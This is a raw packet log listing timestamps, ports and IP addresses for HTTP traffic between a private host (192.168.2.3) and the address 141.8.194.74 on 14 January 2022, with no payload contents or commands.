Jan 14, 2022 02:05:32.188283920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188303947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188318968 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188322067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188338995 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188355923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188371897 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188374043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188393116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188394070 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188410997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188425064 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188427925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188445091 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188458920 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188462019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188479900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188496113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188503027 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188513041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188530922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188535929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188550949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188569069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188570976 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188585043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188601971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188602924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188618898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188635111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188652992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188656092 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188668966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188687086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188693047 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188703060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188711882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188720942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188739061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188745975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188757896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188774109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188776016 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188791990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188807964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188817978 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188827038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188844919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188848972 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188860893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188879013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188882113 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188895941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188913107 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188921928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188941002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188962936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.188966990 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.188986063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.189007044 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.189008951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.189027071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.189045906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.189052105 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.189093113 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.196230888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228291988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228332996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228353024 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228384018 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228410959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228436947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228462934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228485107 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228488922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228507996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228516102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228542089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228542089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228568077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228593111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228593111 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228620052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228645086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228672981 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228696108 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228718996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228740931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228765011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228786945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228802919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228810072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228832006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228833914 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228849888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228868961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228877068 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228888035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228905916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228909969 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228924036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228940964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228946924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228956938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228974104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.228976965 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.228990078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229007959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229026079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229028940 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229042053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229054928 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229062080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229080915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229084969 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229098082 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229115963 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229134083 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229140043 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229152918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229166985 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229171991 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229186058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229188919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229207039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229226112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229229927 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.229243040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229259968 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229278088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229295015 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229311943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229327917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229343891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.229448080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.247955084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.247989893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248007059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248034954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248053074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248069048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248085022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248101950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248111963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.248121023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248135090 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.248137951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248156071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248163939 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.248173952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.248228073 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.250941038 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262331009 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262377024 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262403965 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262408972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262430906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262454987 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262470961 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262473106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262490988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262514114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262515068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262535095 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262536049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262557983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262578964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262582064 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262603045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262619019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262640953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262641907 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262667894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262676001 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262693882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262706995 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262722969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262742043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262764931 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262765884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262790918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262809038 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262818098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262845993 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262871981 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262885094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262898922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262914896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262923956 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262944937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262972116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.262981892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.262999058 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263011932 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263025999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263050079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263077021 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263092041 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263103008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263123989 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263128042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263151884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263180017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263190985 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263205051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263227940 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263230085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263257027 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263268948 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263286114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263312101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263322115 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263329983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263348103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263365984 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263385057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263386011 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263401031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263420105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263421059 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263437986 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263446093 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263454914 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263472080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263473988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263489008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263506889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263508081 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263528109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263545990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263564110 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263566017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263585091 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263598919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263602018 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263617039 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263618946 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263637066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263653994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263660908 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263672113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263689041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263693094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263708115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263726950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263745070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263747931 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263762951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263775110 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263780117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263797998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263804913 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263814926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263834000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263838053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263851881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263870001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263880968 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263885975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263900995 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263905048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263923883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263941050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.263967037 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.263991117 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.264306068 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.302618980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302659035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302685976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302709103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302732944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302758932 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302781105 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.302784920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302810907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302818060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.302839994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302865028 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.302865028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302891970 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302912951 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.302917004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302942038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302964926 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.302967072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.302993059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303004026 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303020000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303045988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303072929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303085089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303097010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303117037 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303124905 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303145885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303163052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303179979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303186893 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303195953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303220034 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303225040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303239107 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303242922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303261995 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303281069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303282976 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303298950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303316116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303333998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303337097 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303350925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303369045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303371906 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303386927 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303394079 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303406000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303423882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303423882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303442001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303458929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303473949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303478003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303493023 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303495884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303514957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303534031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303545952 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303550959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303567886 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303576946 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303587914 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303606987 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303616047 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303626060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303646088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303663015 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303669930 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303679943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.303698063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.303699017 CET	80	49901	141.8.194.74	192.168.2.3
